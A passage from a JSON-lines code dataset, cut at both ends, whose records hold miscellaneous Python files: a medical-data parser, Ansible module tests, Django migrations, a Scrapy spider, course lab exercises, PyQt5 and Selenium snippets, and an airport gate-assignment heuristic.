utils.parse_unicode(x))\n\n # df_condition['conditions'] = utils.create_others(df_condition, 'conditions', 'id')\n df_condition['conditions'] = df_condition['conditions'].apply(lambda x: utils.underscoreify(x))\n df_condition = utils.dummify(df_condition, ['conditions'], prefix='hist')\n df_condition['patient'] = df_condition['patient'].apply(lambda x: utils.remove_prefix(x))\n df_condition = df_condition.groupby('patient').sum()\n\n return df_condition\n\ndef get_conditions_smart(raw_conditions):\n try:\n df_condition = pd.DataFrame(raw_conditions['entry'])\n except Exception:\n return None\n\n df_condition = conditions.extract_condition_data_smart(df_condition)\n df_condition = conditions.filter_out_after_sepsis(df_condition)\n df_condition['conditions'] = df_condition['conditions'].apply(lambda x: utils.parse_unicode(x))\n\n # df_condition['conditions'] = utils.create_others(df_condition, 'conditions', 'id')\n df_condition['conditions'] = df_condition['conditions'].apply(lambda x: utils.underscoreify(x))\n df_condition = utils.dummify(df_condition, ['conditions'], prefix='hist')\n df_condition['patient'] = df_condition['patient'].apply(lambda x: utils.remove_prefix(x))\n df_condition = df_condition.groupby('patient').sum()\n\n return df_condition\n\ndef get_conditions_smart2(raw_conditions):\n try:\n df_condition = pd.DataFrame(raw_conditions['entry'])\n except Exception:\n return None\n\n df_condition = conditions.extract_condition_data_smart2(df_condition)\n df_condition = conditions.filter_out_after_sepsis(df_condition)\n df_condition['conditions'] = df_condition['conditions'].apply(lambda x: utils.parse_unicode(x))\n\n # df_condition['conditions'] = utils.create_others(df_condition, 'conditions', 'id')\n df_condition['conditions'] = df_condition['conditions'].apply(lambda x: utils.underscoreify(x))\n df_condition = utils.dummify(df_condition, ['conditions'], prefix='hist')\n df_condition['patient'] = df_condition['patient'].apply(lambda x: utils.remove_prefix(x))\n df_condition = df_condition.groupby('patient').sum()\n\n return df_condition\n\ndef get_conditions(patient, endpoint, version):\n raw_conditions = request_handler.fhir( id=patient, api='Condition', server=endpoint, version=version)\n return eval(settings.MAP_ENDPOINT[endpoint]['version'][version]['get_conditions'])(raw_conditions)\n\n\ndef key_exist(data, key):\n try:\n data[key]\n return True\n except KeyError:\n return False","sub_path":"sepsisML/parser/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":6700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"235033177","text":"###\n# Copyright (2016) Hewlett Packard Enterprise Development LP\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# You may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n###\nimport unittest\nimport yaml\n\nfrom image_streamer_deployment_plan import DeploymentPlanModule, DEPLOYMENT_PLAN_ALREADY_UPDATED, \\\n DEPLOYMENT_PLAN_ALREADY_ABSENT, DEPLOYMENT_PLAN_CREATED, DEPLOYMENT_PLAN_DELETED, EXAMPLES, \\\n DEPLOYMENT_PLAN_UPDATED, I3S_BUILD_PLAN_WAS_NOT_FOUND\nfrom test.utils import ModuleContructorTestCase\nfrom test.utils import ErrorHandlingTestCase\n\nFAKE_MSG_ERROR = 'Fake message error'\n\n\nclass DeploymentPlanSpec(unittest.TestCase,\n ModuleContructorTestCase,\n ErrorHandlingTestCase):\n \"\"\"\n ModuleContructorTestCase has common tests for class constructor and main function,\n also provides the mocks used in this test case\n\n ErrorHandlingTestCase has common tests for the module error handling.\n \"\"\"\n def setUp(self):\n self.configure_mocks(self, DeploymentPlanModule)\n self.i3s = self.mock_ov_client.create_image_streamer_client()\n\n ErrorHandlingTestCase.configure(self, method_to_fire=self.i3s.deployment_plans.get_by)\n\n # Load scenarios from module examples\n self.DEPLOYMENT_PLAN_EXAMPLES = yaml.load(EXAMPLES)\n self.DEPLOYMENT_PLAN_CREATE = self.DEPLOYMENT_PLAN_EXAMPLES[0]['image_streamer_deployment_plan']\n self.DEPLOYMENT_PLAN_UPDATE = self.DEPLOYMENT_PLAN_EXAMPLES[1]['image_streamer_deployment_plan']\n self.DEPLOYMENT_PLAN_DELETE = self.DEPLOYMENT_PLAN_EXAMPLES[2]['image_streamer_deployment_plan']\n self.DEPLOYMENT_PLAN = dict(\n name=\"Deployment Plan name\",\n uri=\"/rest/deployment-plans/d1c7b09a-6c7b-4ae0-b68e-ed208ccde1b0\")\n\n def test_create_new_deployment_plan(self):\n self.i3s.deployment_plans.get_by.return_value = []\n self.i3s.build_plans.get_by.return_value = [{'uri': '/rest/build-plans/1'}]\n self.i3s.deployment_plans.create.return_value = {\"name\": \"name\"}\n\n self.mock_ansible_module.params = self.DEPLOYMENT_PLAN_CREATE\n\n DeploymentPlanModule().run()\n\n self.i3s.deployment_plans.create.assert_called_once_with(\n {'oeBuildPlanURI': '/rest/build-plans/1',\n 'hpProvided': 'false',\n 'description': 'Description of this Deployment Plan',\n 'name': 'Demo Deployment Plan'}\n )\n\n self.mock_ansible_module.exit_json.assert_called_once_with(\n changed=True,\n msg=DEPLOYMENT_PLAN_CREATED,\n ansible_facts=dict(deployment_plan={\"name\": \"name\"})\n )\n\n def test_update_deployment_plan(self):\n self.i3s.deployment_plans.get_by.return_value = [self.DEPLOYMENT_PLAN]\n self.i3s.deployment_plans.update.return_value = {\"name\": \"name\"}\n\n self.mock_ansible_module.params = self.DEPLOYMENT_PLAN_UPDATE\n\n DeploymentPlanModule().run()\n\n self.mock_ansible_module.exit_json.assert_called_once_with(\n changed=True,\n msg=DEPLOYMENT_PLAN_UPDATED,\n ansible_facts=dict(deployment_plan={\"name\": \"name\"})\n )\n\n def test_should_not_update_when_data_is_equals(self):\n self.i3s.deployment_plans.get_by.return_value = [self.DEPLOYMENT_PLAN_UPDATE['data']]\n self.mock_ansible_module.params = self.DEPLOYMENT_PLAN_UPDATE\n\n DeploymentPlanModule().run()\n\n self.mock_ansible_module.exit_json.assert_called_once_with(\n changed=False,\n msg=DEPLOYMENT_PLAN_ALREADY_UPDATED,\n ansible_facts=dict(deployment_plan=self.DEPLOYMENT_PLAN_UPDATE['data'])\n )\n\n def test_delete_deployment_plan(self):\n self.i3s.deployment_plans.get_by.return_value = [self.DEPLOYMENT_PLAN]\n\n self.mock_ansible_module.params = self.DEPLOYMENT_PLAN_DELETE\n\n DeploymentPlanModule().run()\n\n self.mock_ansible_module.exit_json.assert_called_once_with(\n ansible_facts={},\n changed=True,\n msg=DEPLOYMENT_PLAN_DELETED\n )\n\n def test_should_do_nothing_when_deleting_a_non_existent_deployment_plan(self):\n self.i3s.deployment_plans.get_by.return_value = []\n\n self.mock_ansible_module.params = self.DEPLOYMENT_PLAN_DELETE\n\n DeploymentPlanModule().run()\n\n self.mock_ansible_module.exit_json.assert_called_once_with(\n ansible_facts={},\n changed=False,\n msg=DEPLOYMENT_PLAN_ALREADY_ABSENT\n )\n\n def test_should_fail_when_build_plan_not_found(self):\n self.i3s.deployment_plans.get_by.return_value = []\n self.i3s.build_plans.get_by.return_value = None\n\n self.mock_ansible_module.params = self.DEPLOYMENT_PLAN_CREATE\n\n DeploymentPlanModule().run()\n\n self.mock_ansible_module.fail_json.assert_called_once_with(\n msg=I3S_BUILD_PLAN_WAS_NOT_FOUND\n )\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"oneview-ansible-3.1.1/test/test_image_streamer_deployment_plan.py","file_name":"test_image_streamer_deployment_plan.py","file_ext":"py","file_size_in_byte":5403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"268542914","text":"'''create a list from user input, filer the list by given value'''\na =[]\nb =[]\nwhile True:\n\tx = input(\"> \")\n\tif x == '':\n\t\tbreak\n\t\n\telse:\n\t\ta.append(int(x))\nprint(a)\n\n \n\nx = int(input(\"edge number = > \"))\n\nfor i in a:\n\tif i < x :\n\t\tb.append(i)\nprint(b)","sub_path":"practice_1/ex_3.py","file_name":"ex_3.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"90997756","text":"# encoding: utf8\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='ReleaseGroup',\n fields=[\n (u'id', models.AutoField(verbose_name=u'ID', serialize=False, auto_created=True, primary_key=True)),\n ('short_name', models.CharField(help_text=u'pl. LoL, aXXo, KILLERS, 2HD, stb.', max_length=15, verbose_name=u'R\\xf6vid n\\xe9v')),\n ('long_name', models.CharField(help_text=u'A csoport neve ha van ilyen.', max_length=100, verbose_name=u'Hossz\\xfa n\\xe9v', blank=True)),\n ('description', models.TextField(verbose_name=u'Le\\xedr\\xe1s', blank=True)),\n ('url', models.URLField(blank=True)),\n ],\n options={\n u'verbose_name': u'Release csoport',\n u'verbose_name_plural': u'Release csoportok',\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='ReleaseTag',\n fields=[\n (u'id', models.AutoField(verbose_name=u'ID', serialize=False, auto_created=True, primary_key=True)),\n ('short_name', models.CharField(help_text=u'A f\\xe1jlnevekben haszn\\xe1lt szok\\xe1sos r\\xf6vid elnevez\\xe9s.pl. 720p, 480p, HDTV, NUKE, stb.', unique=True, max_length=10, verbose_name=u'R\\xf6vid n\\xe9v')),\n ('long_name', models.CharField(help_text=u'Le\\xedr\\xf3 elnevez\\xe9s, pl. 1080p eset\\xe9n \"Full HD\"', unique=True, max_length=50, verbose_name=u'Hossz\\xfa n\\xe9v')),\n ('description', models.TextField(help_text=u'Megmagyar\\xe1zza az adott jelz\\u0151 fogalm\\xe1t.', verbose_name=u'Le\\xedr\\xe1s', blank=True)),\n ],\n options={\n u'verbose_name': u'Release c\\xedmke',\n u'verbose_name_plural': u'Release c\\xedmk\\xe9k',\n },\n bases=(models.Model,),\n ),\n ]\n","sub_path":"feliratfigyelo/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"85995555","text":"# -*- coding: utf-8 -*-\n\n###############################################################################\n#\n# This source file is part of the tomviz project.\n#\n# Copyright Kitware, Inc.\n#\n# This source code is released under the New BSD License, (the \"License\").\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n###############################################################################\n\n\nimport inspect\nimport pkgutil\n\nimport tomviz.io\nimport tomviz.io.formats\n\n\ndef list_python_readers():\n\n readers = []\n for importer, name, _ in pkgutil.iter_modules(tomviz.io.formats.__path__):\n m = importer.find_module(name).load_module(name)\n for _, c in inspect.getmembers(m, inspect.isclass):\n if inspect.getmodule(c) is m:\n if issubclass(c, tomviz.io.Reader):\n readers.append(\n [\n c.file_type().display_name,\n c.file_type().extensions,\n c\n ]\n )\n return readers\n\n\ndef create_reader_instance(reader_class):\n return reader_class()\n\n\ndef execute_reader(obj, path):\n return obj.read(path)\n\n\ndef list_python_writers():\n writers = []\n for importer, name, _ in pkgutil.iter_modules(tomviz.io.formats.__path__):\n m = importer.find_module(name).load_module(name)\n for _, c in inspect.getmembers(m, inspect.isclass):\n if inspect.getmodule(c) is m:\n if issubclass(c, tomviz.io.Writer):\n writers.append(\n [\n c.file_type().display_name,\n c.file_type().extensions,\n c\n ]\n )\n return writers\n\n\ndef create_writer_instance(writer_class):\n return writer_class()\n\n\ndef execute_writer(obj, path, data):\n obj.write(path, data)\n","sub_path":"tomviz/python/tomviz/io/_internal.py","file_name":"_internal.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"255717479","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis spider is a KarriarguidenSE spider created on top of the ATSSpider\nscrapy crawl karriarguiden_se -a mining_job_id=9999 -a iteration=1 -a extract=1 -a url=\"http://www.karriarguiden.se/jobads/\"\n\nsample url:\n http://www.karriarguiden.se/jobads/\n\"\"\"\n\nfrom scrapy.conf import settings\nfrom re import compile\nfrom urlparse import urljoin\nfrom scrapy.http import Request\nfrom scrapy.selector import Selector\n\nfrom brightcorp.base.atsspiders import ATSSpider\nfrom brightcorp.items import BrightcorpItemLoader\nfrom brightcorp.processors import Prefix, Replace, NormalizedJoin\n\n\nclass KarriarguidenSE(ATSSpider):\n\n name = \"karriarguiden_se\"\n loc_replace_re = compile(r\"^(-)\")\n\n def __init__(self, *args, **kwargs):\n super(KarriarguidenSE, self).__init__(*args, **kwargs)\n settings.overrides['CONCURRENT_REQUESTS'] = 1\n\n def parse(self, response):\n sel = Selector(response)\n cats = sel.xpath(\n '//li[a[text()=\"Yrkeskategorier\"]]/ul/li/a/@href'\n ).extract()\n for cat in cats:\n cat_url = urljoin(response.url, cat)\n yield Request(cat_url, callback=self.parse_jobs_list)\n\n def parse_jobs_list(self, response):\n selector = Selector(response)\n jobs = selector.xpath('//ul[@class=\"jobs\"]//li')\n for job in jobs:\n url = job.xpath('./a/@href').extract()\n if url:\n yield Request(\n callback=self.parse_job_callback(),\n meta={\n 'company': job.xpath('./a/img/@alt').extract(),\n 'title': job.xpath('./a/div/h3/text()').extract(),\n 'logo_url': job.xpath('./a/img/@src').extract(),\n },\n url=url[0]\n )\n\n next_page_url = selector.xpath(\n '//a[text()=\"%s\"]/@href' % unicode('Nästa', 'utf-8')\n ).extract()\n if next_page_url:\n yield Request(\n callback=self.parse_jobs_list,\n dont_filter=True,\n url=next_page_url[0]\n )\n\n def parse_job(self, response):\n loader = BrightcorpItemLoader(response=response)\n\n details_xpath = '//h3[text()=\"%s\"]/following-sibling::p/text()'\n\n loader.add_xpath(\n 'jobtype', details_xpath % unicode('Anställningsform', 'utf-8'),\n Replace(\"-\", \"\")\n )\n loader.add_xpath('description', '//div[@class=\"formatText\"]')\n loader.add_xpath(\n 'educationrequirements',\n details_xpath % unicode('Utbildningsnivå', 'utf-8')\n )\n loader.add_xpath(\n 'referencenumber', details_xpath % \"ID\",\n Prefix('%s-' % self.name)\n )\n loader.add_xpath(\n 'location', details_xpath % \"Adress\"\n )\n if not loader.get_output_value('location'):\n loader.add_xpath(\n 'location',\n '//h3[text()=\"Plats\"]/following-sibling::ul/li//text()',\n Replace(self.loc_replace_re), NormalizedJoin(\", \")\n )\n\n loader.add_value('logo_url', response.meta.get('logo_url'))\n loader.add_value('company', response.meta.get('company'))\n loader.add_value('title', response.meta.get('title'))\n loader.add_value('url', response.url)\n\n yield loader.load_item()\n","sub_path":"brightcorp/brightcorp/spiders/karriarguiden_se.py","file_name":"karriarguiden_se.py","file_ext":"py","file_size_in_byte":3406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"561510457","text":"from django.db import models\nfrom apps.aluno.models import Aluno\nfrom django.db.models.fields import DateField\n\nclass Pagamento(models.Model):\n STATUS_CHOICES = (\n (\"1\", \"Pago\"),\n (\"2\", \"Aberto\"),\n )\n aluno = models.ForeignKey(Aluno, on_delete=models.PROTECT)\n vencimento = models.DateField(null=True)\n data_baixa = models.DateField(blank=True)\n status = models.CharField(max_length=1, choices=STATUS_CHOICES, blank=False, null=False)\n\n def __repr__(self):\n return self.vencimento\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"academia/apps/pagamento/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"400811599","text":"\"\"\"Optional program for lab02 \"\"\"\n\nfrom lab02 import *\nimport argparse\n\n# Extra Question\n\"\"\"Lab 2: Higher Order Functions & Lambdas\"\"\"\nfrom utils import letter_to_num, num_to_letter, looper, mirror_letter\n\ndef make_derivative(f, h=1e-5):\n \"\"\"Returns a function that approximates the derivative of f.\n\n Recall that f'(a) = (f(a + h) - f(a)) / h as h approaches 0. We will\n approximate the derivative by choosing a very small value for h.\n\n >>> square = lambda x: x*x\n >>> derivative = make_derivative(square)\n >>> result = derivative(3)\n >>> round(result, 3) # approximately 2*3\n 6.0\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n def f0(a):\n return (f(a+h) - f(a)) / h\n return f0\n\n\n# String Transformers\n\nfrom operator import add, sub\n\ndef caesar_generator(num, op):\n \"\"\"Returns a one-argument Caesar cipher function. The function should \"rotate\" a\n letter by an integer amount 'num' using an operation 'op' (either add or\n sub).\n\n You may use the provided `letter_to_num` and `num_to_letter` functions,\n which will map all lowercase letters a-z to 0-25 and all uppercase letters\n A-Z to 26-51.\n\n >>> letter_to_num('a')\n 0\n >>> letter_to_num('c')\n 2\n >>> num_to_letter(3)\n 'd'\n\n >>> caesar2 = caesar_generator(2, add)\n >>> caesar2('a')\n 'c'\n >>> brutus3 = caesar_generator(3, sub)\n >>> brutus3('d')\n 'a'\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n \n return lambda x: num_to_letter(op(letter_to_num(x),num))\n\ndef make_encrypter(f1, f2, f3):\n \"\"\"Generates an \"encrypter\" that applies a specific set of encryption\n functions on the message\n\n >>> caesar3 = caesar_generator(3, add)\n >>> caesar2 = caesar_generator(2, add)\n >>> encrypter = make_encrypter(caesar2, mirror_letter, caesar3)\n >>> encrypter('abcd') # caesar2(mirror_letter(caesar3('a'))) -> 'y'\n 'yxwv'\n \"\"\"\n f1, f2, f3 = looper(f1), looper(f2), looper(f3)\n \"*** YOUR CODE HERE ***\"\n def encrypter(msg):\n return f1(f2(f3(msg)))\n return encrypter\n\ndef make_decrypter(f1, f2, f3):\n \"\"\"Generates a \"decrypter\" function.\n\n >>> brutus3 = caesar_generator(3, sub)\n >>> brutus2 = caesar_generator(2, sub)\n >>> decrypter = make_decrypter(brutus2, mirror_letter, brutus3)\n >>> decrypter('yxwv') # brutus3(mirror_letter(brutus2('y'))) = 'a'\n 'abcd'\n \"\"\"\n f1, f2, f3 = looper(f1), looper(f2), looper(f3)\n \"*** YOUR CODE HERE ***\"\n def decrypter(msg):\n return f3(f2(f1(msg)))\n return decrypter\ndef generator():\n \"\"\"Generates an encrypter and decrypter.\n\n >>> e, d = generator()\n >>> msg = 'text'\n >>> encrypted = e(msg)\n >>> encrypted != msg\n True\n >>> decrypted = d(encrypted)\n >>> decrypted == msg\n True\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n caesar2 = caesar_generator(2, add)\n caesar3 = caesar_generator(3, add)\n brutus2 = caesar_generator(2, sub)\n brutus3 = caesar_generator(3, sub)\n return make_encrypter(caesar2, mirror_letter, caesar3), make_decrypter(brutus2, mirror_letter, brutus3) # Change this line\n\n\nencryptor, decryptor = generator()\n\n\ndef count_cond(condition):\n \"\"\"\n >>> count_factors = count_cond(lambda n, i: n % i == 0)\n >>> count_factors(2) # 1, 2\n 2\n >>> count_factors(4) # 1, 2, 4\n 3\n >>> count_factors(12) # 1, 2, 3, 4, 6, 12\n 6\n\n >>> is_prime = lambda n, i: count_factors(i) == 2\n >>> count_primes = count_cond(is_prime)\n >>> count_primes(2) # 2\n 1\n >>> count_primes(3) # 2, 3\n 2\n >>> count_primes(4) # 2, 3\n 2\n >>> count_primes(5) # 2, 3, 5\n 3\n >>> count_primes(20) # 2, 3, 5, 7, 11, 13, 17, 19\n 8\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n def counter(n):\n i, count = 1, 0\n while i <= n:\n if condition(n, i):\n count += 1\n i +=1\n return count\n return counter\n\ndef cycle(f1, f2, f3):\n \"\"\" Returns a function that is itself a higher order function\n >>> def add1(x):\n ... return x + 1\n >>> def times2(x):\n ... return x * 2\n >>> def add3(x):\n ... return x + 3\n >>> my_cycle = cycle(add1, times2, add3)\n >>> identity = my_cycle(0)\n >>> identity(5)\n 5\n >>> add_one_then_double = my_cycle(2)\n >>> add_one_then_double(1)\n 4\n >>> do_all_functions = my_cycle(3)\n >>> do_all_functions(2)\n 9\n >>> do_more_than_a_cycle = my_cycle(4)\n >>> do_more_than_a_cycle(2)\n 10\n >>> do_two_cycles = my_cycle(6)\n >>> do_two_cycles(1)\n 19\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n\n\n# You can ignore the rest of this file.\n\ndef parse_args():\n\n # define arguments for the file\n parser = argparse.ArgumentParser(\n description='Encrypt and decrypt source files')\n parser.add_argument('-s', '--source', type=str,\n help='the path to the source file')\n parser.add_argument('-o', '--output', type=str,\n help='the path to a new output file')\n parser.add_argument('command', choices=['encrypt', 'decrypt'],\n help='instruct program to \"encrypt\" or \"decrypt\"')\n\n # parse arguments\n args = parser.parse_args()\n\n return args\n\n\ndef run():\n \"\"\"Run the encryption or decryption\"\"\"\n try:\n source, output = args.source, args.output\n except AttributeError:\n print('Required argument missing')\n return\n\n if source == output:\n print('ERROR: Source and output paths are identical!')\n return\n\n\n source_data = open(source).read()\n\n if args.command == 'encrypt':\n func = encryptor\n if not callable(func):\n print('ERROR: \"%s\" is not a function!' % str(encryptor))\n return\n output_data = func(source_data)\n elif args.command == 'decrypt':\n func = decryptor\n if not callable(func):\n print('ERROR: \"%s\" is not a function!' % str(decryptor))\n return\n output_data = func(source_data)\n\n open(output, 'w').write(output_data)\n\nif __name__ == '__main__':\n\n args = parse_args()\n run()\n","sub_path":"lab02/lab02/lab02_extra.py","file_name":"lab02_extra.py","file_ext":"py","file_size_in_byte":5998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"34069798","text":"import pandas as pd\nimport numpy as np\nimport pickle\nimport json\n\ndataset = pd.read_csv('cleared_reviews.csv')\n\nfrom sklearn.feature_extraction.text import CountVectorizer\ncv = CountVectorizer(max_features = 1500)\nX = cv.fit_transform(dataset[\"review\"].values.astype('U')).toarray()\ny = dataset[\"is_positive\"]\n\nfrom sklearn.model_selection import train_test_split\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.25)\n\nfrom sklearn.ensemble import RandomForestClassifier\n\nmodel = RandomForestClassifier(n_estimators = 501,\n criterion = 'entropy')\n\nmodel.fit(X_train, y_train)\ny_pred = model.predict(X_test)\n\nprint('Score: ', model.score(X_test, y_test))\n\nwords = cv.vocabulary_\nwords_for_json = {}\nfor k, v in words.items():\n words_for_json[k] = int(v)\npickle.dump(model, open('reviewClassifier.pkl','wb'))\nwith open('word_feature_space.json', 'w') as fp:\n json.dump(words_for_json, fp)\n","sub_path":"rf_classifier_training.py","file_name":"rf_classifier_training.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"622150659","text":"# -*- coding: utf-8 -*-\n\"\"\"第一个程序\"\"\"\nimport sys\nfrom PyQt5.QtWidgets import QApplication, QWidget, QLineEdit, QLabel, QMessageBox, QPushButton\n\n\nclass Example(QWidget):\n def __init__(self):\n super().__init__()\n self.initUI()\n \"\"\"\n app = QApplication(sys.argv) # 建立application对象\n first_window = QWidget() # 建立窗体对象\n first_window.resize(400, 300) # 设置窗体大小\n first_window.setWindowTitle(\"我的第一个pyqt程序\") # 设置窗体标题\n first_window.show() # 显示窗体\n \"\"\"\n\n def initUI(self):\n\n self.lb1 = QLabel(self)\n self.qle = QLineEdit(self)\n\n self.qle.move(60, 100)\n self.lb1.move(60, 40)\n\n self.qle.textChanged[str].connect(self.onChanged)\n\n self.setGeometry(300, 300, 280, 170)\n self.setWindowTitle('单行文本')\n\n self.button = QPushButton('show text', self)\n self.button.move(90, 130)\n\n # connect button to function on_click\n self.button.clicked.connect(self.on_click)\n\n self.show()\n\n def onChanged(self, text):\n\n self.lb1.setText(text)\n self.lb1.adjustSize()\n\n def on_click(self):\n textboxValue = self.qle.text()\n QMessageBox.question(self, \"Message\", 'You typed:' + textboxValue,\n QMessageBox.Ok, QMessageBox.Ok)\n \"\"\"打印完毕之后清空文本框\"\"\"\n self.qle.setText('fuck')\n","sub_path":"first_pyqt5.py","file_name":"first_pyqt5.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"432833675","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom time import sleep\n\ndriver = webdriver.Chrome()\ndriver.get(\"\")\n\n# 标记存在某个子标记\nh1 = driver.find_element(By.XPATH,\"//ul[lable]\")\n\n# 标记中的子标记的文本值\nh1 = driver.find_element(By.XPATH,\"//ul[li='足球']\")\n\nstr1 = h1.text\nprint(str1)\nlist1 =list(str1)\nprint(list1)\nlist2 = list1.split(\"\\n\")\nprint(list2)\n","sub_path":"selenium/day02/day0201/demo06.py","file_name":"demo06.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"474243631","text":"from particle import * \nimport threading\n\n\n\ndef rule1(particle): \n\n\tv = particle.v + (-9.8 * self.dt)\n\ty = particle.y + (v * self.dt)\n\tt = particle.t + self.dt\n\t\n\treturn { 'v' : v, 'y' : y, 't' : t}\n\n\ncollection = ParticleCollection()\n\ngraviton = Particle(rule1, 0.1, 0, 0)\nelectron = Particle(rule1, 0.5, 0, 0)\nproton = Particle(rule1, 1, 0, 0)\n\ncollection.add(graviton)\ncollection.add(electron)\ncollection.add(proton)\n\n\n\n\ndef set_interval(func, sec):\n\tdef func_wrapper():\n\t\tset_interval(func, sec)\n\t\tfunc()\n\tt = threading.Timer(sec, func_wrapper)\n\tt.start()\n\treturn t\n\nset_interval(population.update)\n","sub_path":"lab.py","file_name":"lab.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"529977535","text":"from random import shuffle\n\nfrom glutton_by_pairs import glutton_by_pairs\nfrom glutton_simple_from_door import glutton_simple_from_door\nfrom glutton_simple_optim import glutton_simple_optim\nfrom glutton_simple_from_plane import glutton_simple_from_plane\n\n\ndef make_matrices(size, f):\n distances = []\n for i in range(size):\n newline = f.readline()\n data = newline.split(\",\")\n if len(data) != size:\n raise ImportError\n line = []\n for case in data:\n line.append(int(case))\n distances.append(line)\n return distances\n\n\ndef parsing():\n f = open(\"input_10.txt\", \"r\")\n if f.mode != \"r\":\n raise FileNotFoundError\n size = int(f.readline())\n distances = make_matrices(size, f)\n junctions = make_matrices(size, f)\n return size, distances, junctions\n\n\ndef calculate_cost(junctions, map_planes_to_gate, size):\n cost = 0\n graph = dict.fromkeys(range(size))\n for key in graph:\n graph[key] = {}\n for i in range(size):\n for j in range(size):\n if junctions[i][j] != 0:\n graph[i][j] = junctions[i][j]\n for avion in graph:\n porte1 = map_planes_to_gate[avion]\n for voisin in graph[avion]:\n porte2 = map_planes_to_gate[voisin]\n distance = distances[porte1][porte2]\n cost += graph[avion][voisin]*distance\n print(map_planes_to_gate)\n print(cost)\n return(cost)\n\n\nif __name__ == \"__main__\":\n distances = [[0, 100, 6, 5, 100], [60, 0, 9, 10, 30], [4, 1, 0, 8, 12], [4, 1, 9, 0, 1], [6, 10, 11, 70, 0]]\n junctions = [[0, 10, 3, 12, 8], [10, 0, 6, 5, 99], [12, 5, 0, 10, 2], [12, 5, 100, 0, 16], [10, 70, 0, 7, 3, 0]]\n size = 5\n try:\n # size, distances, junctions = parsing()\n print(\"score glouton simple en partant des portes\")\n solution_0 = glutton_simple_from_door(size, distances, junctions)\n calculate_cost(junctions, solution_0, size)\n print(\"score glouton un peu optimise en partant des portes\")\n solution_1 = glutton_simple_optim(size, distances, junctions)\n calculate_cost(junctions, solution_1, size)\n print(\"score glouton optimise en partant des avions\")\n solution_2 = glutton_simple_from_plane(size, distances, junctions)\n calculate_cost(junctions, solution_2, size)\n print(\"score glouton par paires\")\n solution_3 = glutton_by_pairs(size, distances, junctions)\n calculate_cost(junctions, solution_3, size)\n print('score random')\n sequence = [i for i in range(5)]\n print(sequence)\n shuffle(sequence)\n calculate_cost(junctions, sequence, size)\n\n except FileNotFoundError:\n print(\"File not found\")\n except ImportError:\n print('Input format not correct')\n\n","sub_path":"dm_optim/main/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"204532800","text":"import httplib2\nimport json\nimport logging\nimport sys\nfrom datetime import date, datetime, timedelta\nimport pytz\n\ndef berlin_datetime_to_utc_string(dt):\n FMT_DT_TO_STR = '%Y-%m-%dT%H:%M:%S%z'\n utc = pytz.utc\n berlin = pytz.timezone('Europe/Berlin')\n dt_berlin = berlin.localize(dt)\n dt_utc = dt_berlin.astimezone(utc)\n return dt_utc.strftime(FMT_DT_TO_STR)\n\ndef main():\n \n logging.basicConfig(\n level=logging.INFO,\n # filename='%s.log' % __file__, filemode='w',\n format='%(asctime)s %(message)s',\n datefmt='[%Y-%m-%d %H:%M:%S %z]',\n )\n \n JOB = raw_input('Job URI: ')\n \n h = httplib2.Http(disable_ssl_certificate_validation=True)\n \n # logging.info('getting the federation resource...')\n response, content = h.request(uri=SERVER_URL, method='GET', body='')\n logging.info('%d %s' % (response.status, response.reason))\n assert response.status == 200\n federation_dict = json.loads(content)\n logging.debug(federation_dict)\n \n # GETTING THE JOB\n \n logging.info('getting the job resource at %s...' % (JOB, ))\n response, content = h.request(uri=JOB, method='GET', body='')\n logging.info('%d %s' % (response.status, response.reason))\n assert response.status == 200\n job_dict = json.loads(content)\n logging.debug(job_dict)\n \n # LIST OF 